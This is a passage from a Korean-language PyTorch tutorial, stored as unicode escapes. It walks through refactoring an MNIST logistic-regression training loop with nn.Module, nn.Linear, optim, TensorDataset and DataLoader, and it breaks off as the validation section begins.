\uae30\ub85d\ub418\uc9c0 \uc54a\uae30\ub97c \uc6d0\ud558\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4.\n# PyTorch\uc758 \uc790\ub3d9 \uae30\uc6b8\uae30(Autograd)\uac00 \uc5b4\ub5bb\uac8c \uc5f0\uc0b0\uc744 \uae30\ub85d\ud558\ub294\uc9c0\n# `\uc5ec\uae30 <https://pytorch.org/docs/stable/notes/autograd.html>`_ \uc5d0\uc11c \ub354 \uc54c\uc544\ubcfc \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n#\n# \uc6b0\ub9ac\ub294 \uadf8\ub7ec\uace0\ub098\uc11c \uae30\uc6b8\uae30\ub97c 0\uc73c\ub85c \uc124\uc815\ud569\ub2c8\ub2e4, \uadf8\ub7fc\uc73c\ub85c\uc368 \ub2e4\uc74c \ub8e8\ud504(loop)\uc5d0 \uc900\ube44\ud558\uac8c \ub429\ub2c8\ub2e4.\n# \uadf8\ub807\uc9c0 \uc54a\uc73c\uba74, \uc6b0\ub9ac\uc758 \uae30\uc6b8\uae30\ub4e4\uc740 \uc77c\uc5b4\ub09c \ubaa8\ub4e0 \uc5f0\uc0b0\uc758 \ub204\uc801 \uc9d1\uacc4\ub97c \uae30\ub85d\ud558\uac8c \ub418\ubc84\ub9bd\ub2c8\ub2e4.\n# (\uc989, ``loss.backward()`` \uac00 \uc774\ubbf8 \uc800\uc7a5\ub41c \uac83\uc744 \ub300\uccb4\ud558\uae30\ubcf4\ub2e8, \uae30\uc874 \uac12\uc5d0 \uae30\uc6b8\uae30\ub97c *\ub354\ud558\uac8c* \ub429\ub2c8\ub2e4).\n#\n# .. tip:: \uc5ec\ub7ec\ubd84\ub4e4\uc740 PyTorch \ucf54\ub4dc\uc5d0 \ub300\ud558\uc5ec \ud45c\uc900 python \ub514\ubc84\uac70(debugger)\ub97c \uc0ac\uc6a9\ud560 \uc218 \uc788\uc73c\ubbc0\ub85c,\n#    \ub9e4 \ub2e8\uacc4\ub9c8\ub2e4 \ub2e4\uc591\ud55c \ubcc0\uc218 \uac12\uc744 \uc810\uac80\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n#    \uc544\ub798\uc5d0\uc11c ``set_trace()`` \ub97c \uc8fc\uc11d \ud574\uc81c\ud558\uc5ec \uc0ac\uc6a9\ud574\ubcf4\uc138\uc694.\n#\n\nfrom IPython.core.debugger import set_trace\n\nlr = 0.5  # \ud559\uc2b5\ub960(learning rate)\nepochs = 2  # \ud6c8\ub828\uc5d0 \uc0ac\uc6a9\ud560 \uc5d0\ud3ec\ud06c(epoch) \uc218\n\nfor epoch in range(epochs):\n    for i in range((n - 1) // bs + 1):\n        #         set_trace()\n        start_i = i * bs\n        end_i = start_i + bs\n        xb = x_train[start_i:end_i]\n        yb = y_train[start_i:end_i]\n        pred = model(xb)\n        loss = loss_func(pred, yb)\n\n        loss.backward()\n        with torch.no_grad():\n            weights -= weights.grad * lr\n            bias -= bias.grad * lr\n            weights.grad.zero_()\n            bias.grad.zero_()\n\n###############################################################################\n# \uc774\uc81c \ub2e4 \ub410\uc2b5\ub2c8\ub2e4: \uc6b0\ub9ac\ub294 \uc81c\uc77c \uac04\ub2e8\ud55c \uc2e0\uacbd\ub9dd(neural network)\uc758 \ubaa8\ub4e0 \uac83\uc744 \ubc11\ubc14\ub2e5\ubd80\ud130 \uc0dd\uc131\ud558\uace0\n# \ud6c8\ub828\ud558\uc600\uc2b5\ub2c8\ub2e4! (\uc774\ubc88\uc5d0\ub294 \uc740\ub2c9\uce35(hidden layer)\uc774 \uc5c6\uae30 \ub54c\ubb38\uc5d0,\n# \ub85c\uc9c0\uc2a4\ud2f1 \ud68c\uadc0(logistic regression)\uc785\ub2c8\ub2e4).\n#\n# \uc774\uc81c \uc190\uc2e4\uacfc \uc815\ud655\ub3c4\ub97c \uc774\uc804 \uac12\ub4e4\uacfc \ube44\uad50\ud558\uba74\uc11c \ud655\uc778\ud574\ubd05\uc2dc\ub2e4.\n# \uc6b0\ub9ac\ub294 \uc190\uc2e4\uc740 \uac10\uc18c\ud558\uace0, \uc815\ud655\ub3c4\ub294 \uc99d\uac00\ud558\uae30\ub97c \uae30\ub300\ud560 \uac83\uc774\uace0, \uadf8\ub4e4\uc740 \uc544\ub798\uc640 \uac19\uc2b5\ub2c8\ub2e4.\n\nprint(loss_func(model(xb), yb), accuracy(model(xb), yb))\n\n###############################################################################\n# torch.nn.functional \uc0ac\uc6a9\ud558\uae30\n# ------------------------------\n#\n# \uc774\uc81c \uc6b0\ub9ac\ub294 \ucf54\ub4dc\ub97c \ub9ac\ud329\ud1a0\ub9c1(refactoring) \ud558\uaca0\uc2b5\ub2c8\ub2e4, \uadf8\ub7fc\uc73c\ub85c\uc368 \uc774\uc804\uacfc \ub3d9\uc77c\ud558\uc9c0\ub9cc,\n# PyTorch\uc758 ``nn`` \ud074\ub798\uc2a4\uc758 \uc7a5\uc810\uc744 \ud65c\uc6a9\ud558\uc5ec \ub354 \uac04\uacb0\ud558\uace0 \uc720\uc5f0\ud558\uac8c \ub9cc\ub4e4 \uac83\uc785\ub2c8\ub2e4.\n# \uc9c0\uae08\ubd80\ud130 \ub9e4 \ub2e8\uacc4\uc5d0\uc11c, \uc6b0\ub9ac\ub294 \ucf54\ub4dc\ub97c \ub354 \uc9e7\uace0, \uc774\ud574\ud558\uae30 \uc27d\uace0, \uc720\uc5f0\ud558\uac8c \ub9cc\ub4e4\uc5b4\uc57c \ud569\ub2c8\ub2e4.\n#\n# \ucc98\uc74c\uc774\uba74\uc11c \uc6b0\ub9ac\uc758 \ucf54\ub4dc\ub97c \uc9e7\uac8c \ub9cc\ub4e4\uae30 \uac00\uc7a5 \uc26c\uc6b4 \ub2e8\uacc4\ub294 \uc9c1\uc811 \uc791\uc131\ud55c \ud65c\uc131\ud654, \uc190\uc2e4 \ud568\uc218\ub97c\n# ``torch.nn.functional`` \uc758 \ud568\uc218\ub85c \ub300\uccb4\ud558\ub294 \uac83\uc785\ub2c8\ub2e4\n# (\uad00\ub840\uc5d0 \ub530\ub77c, \uc77c\ubc18\uc801\uc73c\ub85c ``F`` \ub124\uc784\uc2a4\ud398\uc774\uc2a4(namespace)\ub97c \ud1b5\ud574 \uc784\ud3ec\ud2b8(import) \ud569\ub2c8\ub2e4).\n# \uc774 \ubaa8\ub4c8\uc5d0\ub294 ``torch.nn`` \ub77c\uc774\ube0c\ub7ec\ub9ac\uc758 \ubaa8\ub4e0 \ud568\uc218\uac00 \ud3ec\ud568\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4\n# (\ub77c\uc774\ube0c\ub7ec\ub9ac\uc758 \ub2e4\ub978 \ubd80\ubd84\uc5d0\ub294 \ud074\ub798\uc2a4\uac00 \ud3ec\ud568\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.)\n# \ub2e4\uc591\ud55c \uc190\uc2e4 \ubc0f \ud65c\uc131\ud654 \ud568\uc218 \ubfd0\ub9cc \uc544\ub2c8\ub77c, \ud480\ub9c1(pooling) \ud568\uc218\uc640 \uac19\uc774 \uc2e0\uacbd\ub9dd\uc744 \ub9cc\ub4dc\ub294\ub370\n# \ud3b8\ub9ac\ud55c \uba87 \uac00\uc9c0 \ud568\uc218\ub3c4 \uc5ec\uae30\uc5d0\uc11c \ucc3e\uc744 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# (\ucee8\ubcfc\ub8e8\uc158(convolution) \uc5f0\uc0b0, \uc120\ud615(linear) \ub808\uc774\uc5b4, \ub4f1\uc744 \uc218\ud589\ud558\ub294 \ud568\uc218\ub3c4 \uc788\uc9c0\ub9cc,\n# \uc55e\uc73c\ub85c \ubcf4\uc2dc\uaca0\uc9c0\ub9cc \uc77c\ubc18\uc801\uc73c\ub85c \ub77c\uc774\ube0c\ub7ec\ub9ac\uc758 \ub2e4\ub978 \ubd80\ubd84\uc744 \uc0ac\uc6a9\ud558\uc5ec \ub354 \uc798 \ucc98\ub9ac \ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.)\n#\n# \ub9cc\uc57d \uc5ec\ub7ec\ubd84\ub4e4\uc774 \uc74c\uc758 \ub85c\uadf8 \uc6b0\ub3c4 \uc190\uc2e4\uacfc \ub85c\uadf8 \uc18c\ud504\ud2b8\ub9e5\uc2a4 (log softmax) \ud65c\uc131\ud654 \ud568\uc218\ub97c \uc0ac\uc6a9\ud558\ub294 \uacbd\uc6b0,\n# Pytorch\ub294 \uc774 \ub458\uc744 \uacb0\ud569\ud558\ub294 \ub2e8\uc77c \ud568\uc218\uc778 ``F.cross_entropy`` \ub97c \uc81c\uacf5\ud569\ub2c8\ub2e4.\n# \ub530\ub77c\uc11c \ubaa8\ub378\uc5d0\uc11c \ud65c\uc131\ud654 \ud568\uc218\ub97c \uc81c\uac70\ud560 \uc218\ub3c4 \uc788\uc2b5\ub2c8\ub2e4.\n\nimport torch.nn.functional as F\n\nloss_func = F.cross_entropy\n\ndef model(xb):\n    return xb @ weights + bias\n\n###############################################################################\n# \ub354\uc774\uc0c1 ``model`` \ud568\uc218\uc5d0\uc11c ``log_softmax`` \ub97c \ud638\ucd9c\ud558\uc9c0 \uc54a\uace0 \uc788\uc2b5\ub2c8\ub2e4.\n# \uc190\uc2e4\uacfc \uc815\ud655\ub3c4\uacfc \uc774\uc804\uacfc \ub3d9\uc77c\ud55c\uc9c0 \ud655\uc778\ud574\ubd05\uc2dc\ub2e4:\n\nprint(loss_func(model(xb), yb), accuracy(model(xb), yb))\n\n###############################################################################\n# nn.Module \uc744 \uc774\uc6a9\ud558\uc5ec \ub9ac\ud329\ud1a0\ub9c1 \ud558\uae30\n# --------------------------------------\n# \ub2e4\uc74c\uc73c\ub85c, \ub354 \uba85\ud655\ud558\uace0 \uac04\uacb0\ud55c \ud6c8\ub828 \ub8e8\ud504\ub97c \uc704\ud574 ``nn.Module`` \ubc0f ``nn.Parameter`` \ub97c \uc0ac\uc6a9\ud569\ub2c8\ub2e4.\n# \uc6b0\ub9ac\ub294 ``nn.Module`` (\uc790\uccb4\uac00 \ud074\ub798\uc2a4\uc774\uace0 \uc0c1\ud0dc\ub97c \ucd94\ucc99\ud560 \uc218 \uc788\ub294) \ud558\uc704 \ud074\ub798\uc2a4(subclass)\ub97c \ub9cc\ub4ed\ub2c8\ub2e4.\n# \uc774 \uacbd\uc6b0\uc5d0\ub294, \ud3ec\uc6cc\ub4dc(forward) \ub2e8\uacc4\uc5d0 \ub300\ud55c \uac00\uc911\uce58, \uc808\ud3b8, \uadf8\ub9ac\uace0 \uba54\uc18c\ub4dc(method) \ub4f1\uc744 \uc720\uc9c0\ud558\ub294\n# \ud074\ub798\uc2a4\ub97c \ub9cc\ub4e4\uace0\uc790 \ud569\ub2c8\ub2e4.\n# ``nn.Module`` \uc740 \uc6b0\ub9ac\uac00 \uc0ac\uc6a9\ud560 \uba87 \uac00\uc9c0 \uc18d\uc131(attribute)\uacfc \uba54\uc18c\ub4dc\ub97c (``.parameters()`` \uc640\n# ``.zero_grad()`` \uac19\uc740) \uac00\uc9c0\uace0 \uc788\uc2b5\ub2c8\ub2e4.\n#\n# .. note:: ``nn.Module`` (\ub300\ubb38\uc790 M) \uc740 PyTorch \uc758 \ud2b9\uc815 \uac1c\ub150\uc774\uace0, \uc6b0\ub9ac\ub294 \uc774 \ud074\ub798\uc2a4\ub97c\n#    \ub9ce\uc774 \uc0ac\uc6a9\ud560 \uac83\uc785\ub2c8\ub2e4. ``nn.Module`` \ub97c Python \uc758 \ucf54\ub4dc\ub97c \uc784\ud3ec\ud2b8\ud558\uae30 \uc704\ud55c \ucf54\ub4dc \ud30c\uc77c\uc778\n#    `module <https://docs.python.org/3/tutorial/modules.html>`_ (\uc18c\ubb38\uc790 ``m``)\n#    \uc758 \uac1c\ub150\uacfc \ud5f7\uac08\ub9ac\uc9c0 \ub9d0\uc544\uc8fc\uc138\uc694.\n\nfrom torch import nn\n\nclass Mnist_Logistic(nn.Module):\n    def __init__(self):\n        super().__init__()\n        self.weights = nn.Parameter(torch.randn(784, 10) / math.sqrt(784))\n        self.bias = nn.Parameter(torch.zeros(10))\n\n    def forward(self, xb):\n        return xb @ self.weights + self.bias\n\n###############################################################################\n# \ud568\uc218\ub97c \uc0ac\uc6a9\ud558\ub294 \ub300\uc2e0\uc5d0 \uc774\uc81c\ub294 \uc624\ube0c\uc81d\ud2b8(object) \ub97c \uc0ac\uc6a9\ud558\uae30 \ub54c\ubb38\uc5d0,\n# \uba3c\uc800 \ubaa8\ub378\uc744 \uc778\uc2a4\ud134\uc2a4\ud654(instantiate) \ud574\uc57c \ud569\ub2c8\ub2e4:\n\nmodel = Mnist_Logistic()\n\n###############################################################################\n# \uc774\uc81c \uc6b0\ub9ac\ub294 \uc774\uc804\uacfc \ub3d9\uc77c\ud55c \ubc29\uc2dd\uc73c\ub85c \uc190\uc2e4\uc744 \uacc4\uc0b0\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# \uc5ec\uae30\uc11c ``nn.Module`` \uc624\ube0c\uc81d\ud2b8\ub4e4\uc740 \ub9c8\uce58 \ud568\uc218\ucc98\ub7fc \uc0ac\uc6a9\ub429\ub2c8\ub2e4 (\uc989, \uc774\ub4e4\uc740 *\ud638\ucd9c\uac00\ub2a5* \ud569\ub2c8\ub2e4),\n# \uadf8\ub7ec\ub098 \ubc30\ud6c4\uc5d0\uc11c Pytorch \ub294 \uc6b0\ub9ac\uc758 ``forward`` \uba54\uc18c\ub4dc\ub97c \uc790\ub3d9\uc73c\ub85c \ud638\ucd9c\ud569\ub2c8\ub2e4.\n\nprint(loss_func(model(xb), yb))\n\n###############################################################################\n# \uc774\uc804\uc5d0\ub294 \ud6c8\ub828 \ub8e8\ud504\ub97c \uc704\ud574 \uc774\ub984 \ubcc4\ub85c \uac01 \ub9e4\uac1c\ubcc0\uc218(parameter)\uc758 \uac12\uc744 \uc5c5\ub370\uc774\ud2b8\ud558\uace0 \ub2e4\uc74c\uacfc \uac19\uc774\n# \uac01 \ub9e4\uac1c \ubcc0\uc218\uc5d0 \ub300\ud55c \uae30\uc6b8\uae30\ub4e4\uc744 \uac1c\ubcc4\uc801\uc73c\ub85c \uc218\ub3d9\uc73c\ub85c 0\uc73c\ub85c \uc81c\uac70\ud574\uc57c \ud588\uc2b5\ub2c8\ub2e4:\n#\n# ::\n#\n#   with torch.no_grad():\n#       weights -= weights.grad * lr\n#       bias -= bias.grad * lr\n#       weights.grad.zero_()\n#       bias.grad.zero_()\n#\n#\n# \uc774\uc81c \uc6b0\ub9ac\ub294 model.parameters() \ubc0f model.zero_grad() (\ubaa8\ub450\n# ``nn.Module`` \uc5d0 \ub300\ud574 PyTorch\uc5d0 \uc758\ud574 \uc815\uc758\ub428)\ub97c \ud65c\uc6a9\ud558\uc5ec \uc774\ub7ec\ud55c \ub2e8\uacc4\ub97c \ub354 \uac04\uacb0\ud558\uac8c\n# \ub9cc\ub4e4\uace0, \ud2b9\ud788 \ub354 \ubcf5\uc7a1\ud55c \ubaa8\ub378\uc5d0 \ub300\ud574\uc11c \uc77c\ubd80 \ub9e4\uac1c\ubcc0\uc218\ub97c \uc78a\uc5b4 \ubc84\ub9ac\ub294 \uc624\ub958\ub97c \ub35c \ubc1c\uc0dd\uc2dc\ud0ac \uc218 \uc788\uc2b5\ub2c8\ub2e4:\n#\n# ::\n#\n#   with torch.no_grad():\n#       for p in model.parameters(): p -= p.grad * lr\n#       model.zero_grad()\n#\n#\n# \uc774\uc81c \uc774\uac83\uc744 \ub098\uc911\uc5d0 \ub2e4\uc2dc \uc2e4\ud589\ud560 \uc218 \uc788\ub3c4\ub85d ``fit`` \ud568\uc218\ub85c \uc791\uc740 \ud6c8\ub828 \ub8e8\ud504\ub97c \uac10\uc300 \uac83\uc785\ub2c8\ub2e4.\n\ndef fit():\n    for epoch in range(epochs):\n        for i in range((n - 1) // bs + 1):\n            start_i = i * bs\n            end_i = start_i + bs\n            xb = x_train[start_i:end_i]\n            yb = y_train[start_i:end_i]\n            pred = model(xb)\n            loss = loss_func(pred, yb)\n\n            loss.backward()\n            with torch.no_grad():\n                for p in model.parameters():\n                    p -= p.grad * lr\n                model.zero_grad()\n\nfit()\n\n###############################################################################\n# \uc190\uc2e4\uc774 \uc904\uc5b4\ub4e4\uc5c8\ub294\uc9c0 \ub2e4\uc2dc \ud55c\ubc88 \ud655\uc778\ud569\uc2dc\ub2e4:\n\nprint(loss_func(model(xb), yb))\n\n###############################################################################\n# nn.Linear \ub97c \uc774\uc6a9\ud558\uc5ec \ub9ac\ud329\ud1a0\ub9c1 \ud558\uae30\n# ------------------------------------\n#\n# \uacc4\uc18d\ud574\uc11c \ucf54\ub4dc\ub97c \ub9ac\ud329\ud1a0\ub9c1 \ud569\ub2c8\ub2e4. ``self.weights`` \ubc0f ``self.bias`` \ub97c \uc218\ub3d9\uc73c\ub85c \uc815\uc758 \ubc0f\n# \ucd08\uae30\ud654\ud558\uace0, ``xb  @ self.weights + self.bias`` \ub97c \uacc4\uc0b0\ud558\ub294 \ub300\uc2e0\uc5d0,\n# \uc704\uc758 \ubaa8\ub4e0 \uac83\uc744 \ud574\uc904 Pytorch \ud074\ub798\uc2a4\uc778\n# `nn.Linear <https://pytorch.org/docs/stable/nn.html#linear-layers>`_ \ub97c \uc120\ud615\n# \ub808\uc774\uc5b4\ub85c \uc0ac\uc6a9\ud569\ub2c8\ub2e4.\n# Pytorch \uc5d0\ub294 \ub2e4\uc591\ud55c \uc720\ud615\uc758 \ucf54\ub4dc\ub97c \ud06c\uac8c \ub2e8\uc21c\ud654 \ud560 \uc218 \uc788\ub294 \ubbf8\ub9ac \uc815\uc758\ub41c \ub808\uc774\uc5b4\uac00 \uc788\uace0 \uc774\ub294 \ub610\ud55c\n# \uc885\uc885 \uae30\uc874 \ucf54\ub4dc\ubcf4\ub2e4 \uc18d\ub3c4\ub97c \ube60\ub974\uac8c \ud569\ub2c8\ub2e4.\n\nclass Mnist_Logistic(nn.Module):\n    def __init__(self):\n        super().__init__()\n        self.lin = nn.Linear(784, 10)\n\n    def forward(self, xb):\n        return self.lin(xb)\n\n###############################################################################\n# \uc774\uc804\uacfc \uac19\uc740 \ubc29\uc2dd\uc73c\ub85c \ubaa8\ub378\uc744 \uc778\uc2a4\ud134\uc2a4\ud654\ud558\uace0 \uc190\uc2e4\uc744 \uacc4\uc0b0\ud569\ub2c8\ub2e4:\n\nmodel = Mnist_Logistic()\nprint(loss_func(model(xb), yb))\n\n###############################################################################\n# \uc6b0\ub9ac\ub294 \uc5ec\uc804\ud788 \uc774\uc804\uacfc \ub3d9\uc77c\ud55c ``fit`` \uba54\uc18c\ub4dc\ub97c \uc0ac\uc6a9\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n\nfit()\n\nprint(loss_func(model(xb), yb))\n\n###############################################################################\n# optim \uc744 \uc774\uc6a9\ud558\uc5ec \ub9ac\ud329\ud1a0\ub9c1 \ud558\uae30\n# ---------------------------------\n#\n# Pytorch\uc5d0\ub294 \ub2e4\uc591\ud55c \ucd5c\uc801\ud654(optimization) \uc54c\uace0\ub9ac\uc998\uc744 \uac00\uc9c4 \ud328\ud0a4\uc9c0\uc778 ``torch.optim`` \ub3c4 \uc788\uc2b5\ub2c8\ub2e4.\n# \uac01 \ub9e4\uac1c\ubcc0\uc218\ub97c \uc218\ub3d9\uc73c\ub85c \uc5c5\ub370\uc774\ud2b8 \ud558\ub294 \ub300\uc2e0, \uc635\ud2f0\ub9c8\uc774\uc800(optimizer)\uc758 ``step`` \uba54\uc18c\ub4dc\ub97c \uc0ac\uc6a9\ud558\uc5ec\n# \uc5c5\ub370\uc774\ud2b8\ub97c \uc9c4\ud589\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n#\n# \uc774\ub807\uac8c \ud558\uba74 \uc774\uc804\uc5d0 \uc218\ub3d9\uc73c\ub85c \ucf54\ub529\ud55c \ucd5c\uc801\ud654 \ub2e8\uacc4\ub97c \ub300\uccb4\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4:\n#\n# ::\n#\n#   with torch.no_grad():\n#       for p in model.parameters(): p -= p.grad * lr\n#       model.zero_grad()\n#\n# \ub300\uc2e0\uc5d0 \uc774\ub807\uac8c \ub9d0\uc774\uc8e0:\n#\n# ::\n#\n#   opt.step()\n#   opt.zero_grad()\n#\n# (``optim.zero_grad()`` \ub294 \uae30\uc6b8\uae30\ub97c 0\uc73c\ub85c \uc7ac\uc124\uc815 \ud574\uc90d\ub2c8\ub2e4. \ub2e4\uc74c \ubbf8\ub2c8 \ubc30\uce58\uc5d0 \ub300\ud55c\n# \uae30\uc6b8\uae30\ub97c \uacc4\uc0b0\ud558\uae30 \uc804\uc5d0 \ud638\ucd9c\ud574\uc57c \ud569\ub2c8\ub2e4.)\n\nfrom torch import optim\n\n###############################################################################\n# \ub098\uc911\uc5d0 \ub2e4\uc2dc \uc0ac\uc6a9\ud560 \uc218 \uc788\ub3c4\ub85d \ubaa8\ub378\uacfc \uc635\ud2f0\ub9c8\uc774\uc838\ub97c \ub9cc\ub4dc\ub294 \uc791\uc740 \ud568\uc218\ub97c \uc815\uc758\ud569\ub2c8\ub2e4.\n\ndef get_model():\n    model = Mnist_Logistic()\n    return model, optim.SGD(model.parameters(), lr=lr)\n\nmodel, opt = get_model()\nprint(loss_func(model(xb), yb))\n\nfor epoch in range(epochs):\n    for i in range((n - 1) // bs + 1):\n        start_i = i * bs\n        end_i = start_i + bs\n        xb = x_train[start_i:end_i]\n        yb = y_train[start_i:end_i]\n        pred = model(xb)\n        loss = loss_func(pred, yb)\n\n        loss.backward()\n        opt.step()\n        opt.zero_grad()\n\nprint(loss_func(model(xb), yb))\n\n###############################################################################\n# Dataset \uc744 \uc774\uc6a9\ud558\uc5ec \ub9ac\ud329\ud1a0\ub9c1\ud558\uae30\n# ----------------------------------\n#\n# PyTorch \uc5d0\ub294 \ucd94\uc0c1 Dataset \ud074\ub798\uc2a4\uac00 \uc788\uc2b5\ub2c8\ub2e4. Dataset \uc740\n# ``__len__`` \ud568\uc218 (Python\uc758 \ud45c\uc900 ``len`` \ud568\uc218\uc5d0 \uc758\ud574 \ud638\ucd9c\ub428) \ubc0f\n# ``__getitem__`` \ud568\uc218\ub97c \uac00\uc9c4 \uc5b4\ub5a4 \uac83\uc774\ub77c\ub3c4 \ub420 \uc218 \uc788\uc73c\uba70, \uc774 \ud568\uc218\ub4e4\uc744 \uc778\ub371\uc2f1(indexing)\ud558\uae30\n# \uc704\ud55c \ubc29\ubc95\uc73c\ub85c \uc0ac\uc6a9\ud569\ub2c8\ub2e4.\n# `\uc774 \ud29c\ud1a0\ub9ac\uc5bc <https://tutorials.pytorch.kr/beginner/data_loading_tutorial.html>`_\n# \uc740 ``Dataset`` \uc758 \ud558\uc704 \ud074\ub798\uc2a4\ub85c\uc368, \uc0ac\uc6a9\uc790 \uc9c0\uc815 ``FacialLandmarkDataset`` \ud074\ub798\uc2a4\ub97c \ub9cc\ub4dc\ub294\n# \uc88b\uc740 \uc608\ub97c \uc81c\uc2dc\ud569\ub2c8\ub2e4.\n#\n# PyTorch \uc758 `TensorDataset <https://pytorch.org/docs/stable/_modules/torch/utils/data/dataset.html#TensorDataset>`_\n# \uc740 \ud150\uc11c\ub97c \uac10\uc2f8\ub294(wrapping) Dataset \uc785\ub2c8\ub2e4.\n# \uae38\uc774\uc640 \uc778\ub371\uc2f1 \ubc29\uc2dd\uc744 \uc815\uc758\ud568\uc73c\ub85c\uc368 \ud150\uc11c\uc758 \uccab \ubc88\uc9f8 \ucc28\uc6d0\uc744 \ub530\ub77c \ubc18\ubcf5, \uc778\ub371\uc2f1 \ubc0f \uc2ac\ub77c\uc774\uc2a4(slice)\ud558\ub294 \ubc29\ubc95\ub3c4 \uc81c\uacf5\ud569\ub2c8\ub2e4.\n# \uc774\ub807\uac8c\ud558\uba74 \ud6c8\ub828 \ud560 \ub54c \ub3d9\uc77c\ud55c \ub77c\uc778\uc5d0\uc11c \ub3c5\ub9bd(independent) \ubcc0\uc218\uc640 \uc885\uc18d(dependent) \ubcc0\uc218\uc5d0 \uc27d\uac8c \uc561\uc138\uc2a4 \ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n\nfrom torch.utils.data import TensorDataset\n\n###############################################################################\n# ``x_train`` \ubc0f ``y_train`` \ubaa8\ub450 \ud558\ub098\uc758 ``TensorDataset`` \uc5d0 \ud569\uccd0\uc9c8 \uc218 \uc788\uc2b5\ub2c8\ub2e4,\n# \ub530\ub77c\uc11c \ubc18\ubcf5\uc2dc\ud0a4\uace0 \uc2ac\ub77c\uc774\uc2a4 \ud558\uae30 \ud3b8\ub9ac\ud569\ub2c8\ub2e4.\n\ntrain_ds = TensorDataset(x_train, y_train)\n\n###############################################################################\n# \uc774\uc804\uc5d0\ub294 x \ubc0f y \uac12\uc758 \ubbf8\ub2c8 \ubc30\uce58\ub97c \ubcc4\ub3c4\ub85c \ubc18\ubcf5\ud574\uc57c\ud588\uc2b5\ub2c8\ub2e4:\n#\n# ::\n#\n#     xb = x_train[start_i:end_i]\n#     yb = y_train[start_i:end_i]\n#\n#\n# \uc774\uc81c \uc774 \ub450 \ub2e8\uacc4\ub97c \ud568\uaed8 \uc218\ud589 \ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4:\n#\n# ::\n#\n#     xb,yb = train_ds[i*bs : i*bs+bs]\n#\n\nmodel, opt = get_model()\n\nfor epoch in range(epochs):\n    for i in range((n - 1) // bs + 1):\n        xb, yb = train_ds[i * bs: i * bs + bs]\n        pred = model(xb)\n        loss = loss_func(pred, yb)\n\n        loss.backward()\n        opt.step()\n        opt.zero_grad()\n\nprint(loss_func(model(xb), yb))\n\n###############################################################################\n# DataLoader \ub97c \uc774\uc6a9\ud558\uc5ec \ub9ac\ud329\ud1a0\ub9c1\ud558\uae30\n# -----------------------------------\n#\n# Pytorch \uc758 ``DataLoader`` \ub294 \ubc30\uce58 \uad00\ub9ac\ub97c \ub2f4\ub2f9\ud569\ub2c8\ub2e4.\n# \uc5ec\ub7ec\ubd84\ub4e4\uc740 \ubaa8\ub4e0 ``Dataset`` \uc73c\ub85c\ubd80\ud130 ``DataLoader`` \ub97c \uc0dd\uc131\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# ``DataLoader`` \ub294 \ubc30\uce58\ub4e4\uc5d0 \ub300\ud574\uc11c \ubc18\ubcf5\ud558\uae30 \uc27d\uac8c \ub9cc\ub4e4\uc5b4\uc90d\ub2c8\ub2e4.\n# ``train_ds[i*bs : i*bs+bs]`` \ub97c \uc0ac\uc6a9\ud558\ub294 \ub300\uc2e0,\n# DataLoader \ub294 \ub9e4 \ubbf8\ub2c8\ubc30\uce58\ub97c \uc790\ub3d9\uc801\uc73c\ub85c \uc81c\uacf5\ud569\ub2c8\ub2e4.\n\nfrom torch.utils.data import DataLoader\n\ntrain_ds = TensorDataset(x_train, y_train)\ntrain_dl = DataLoader(train_ds, batch_size=bs)\n\n###############################################################################\n# \uc774\uc804\uc5d0\ub294 \ub8e8\ud504\uac00 \ub2e4\uc74c\uacfc \uac19\uc774 \ubc30\uce58 (xb, yb)\ub97c \ubc18\ubcf5\ud588\uc2b5\ub2c8\ub2e4:\n#\n# ::\n#\n#       for i in range((n-1)//bs + 1):\n#           xb,yb = train_ds[i*bs : i*bs+bs]\n#           pred = model(xb)\n#\n# \uc774\uc81c (xb, yb)\uac00 DataLoader \uc5d0\uc11c \uc790\ub3d9\uc73c\ub85c \ub85c\ub4dc\ub418\ubbc0\ub85c \ub8e8\ud504\uac00 \ud6e8\uc52c \uae68\ub057\ud574\uc84c\uc2b5\ub2c8\ub2e4:\n#\n# ::\n#\n#       for xb,yb in train_dl:\n#           pred = model(xb)\n\nmodel, opt = get_model()\n\nfor epoch in range(epochs):\n    for xb, yb in train_dl:\n        pred = model(xb)\n        loss = loss_func(pred, yb)\n\n        loss.backward()\n        opt.step()\n        opt.zero_grad()\n\nprint(loss_func(model(xb), yb))\n\n###############################################################################\n# Pytorch\uc758 nn.Module, nn.Parameter, Dataset \ubc0f DataLoader \ub355\ubd84\uc5d0 \uc774\uc81c \ud6c8\ub828 \ub8e8\ud504\uac00\n# \ud6e8\uc52c \ub354 \uc791\uc544\uc9c0\uace0 \uc774\ud574\ud558\uae30 \uc26c\uc6cc\uc84c\uc2b5\ub2c8\ub2e4.\n# \uc774\uc81c \uc2e4\uc81c\ub85c \ud6a8\uacfc\uc801\uc778 \ubaa8\ub378\uc744 \ub9cc\ub4dc\ub294 \ub370 \ud544\uc694\ud55c \uae30\ubcf8 \uae30\ub2a5\uc744 \ucd94\uac00\ud574 \ubcf4\uaca0\uc2b5\ub2c8\ub2e4.\n#\n# \uac80\uc99d(validation) \ucd94\uac00\ud558\uae30\n# ---------------------------\n#\n# \uc139\uc158 1\uc5d0\uc11c, \uc6b0\ub9ac\ub294 \ud6c8\ub828 \ub370\uc774\ud130\uc5d0 \uc0ac\uc6a9\ud558\uae30 \uc704\ud574 \ud569\ub9ac\uc801\uc778 \ud6c8\ub828 \ub8e8\ud504\ub97c \uc124\uc815\ud558\ub824\uace0\ud588\uc2b5\ub2c8\ub2e4.\n# \uc2e4\uc804\uc5d0\uc11c, \uc5ec\ub7ec\ubd84\ub4e4\uc740 \uacfc\uc801\ud569(overfitting)\uc744 \ud655\uc778\ud558\uae30 \uc704\ud574\uc11c **\ud56d\uc0c1**\n# `\uac80\uc99d \ub370\uc774\ud130\uc14b(validation set) <https://www.fast.ai/2017/11/13/validation-sets/>`_ \uc774\n# \uc788\uc5b4\uc57c 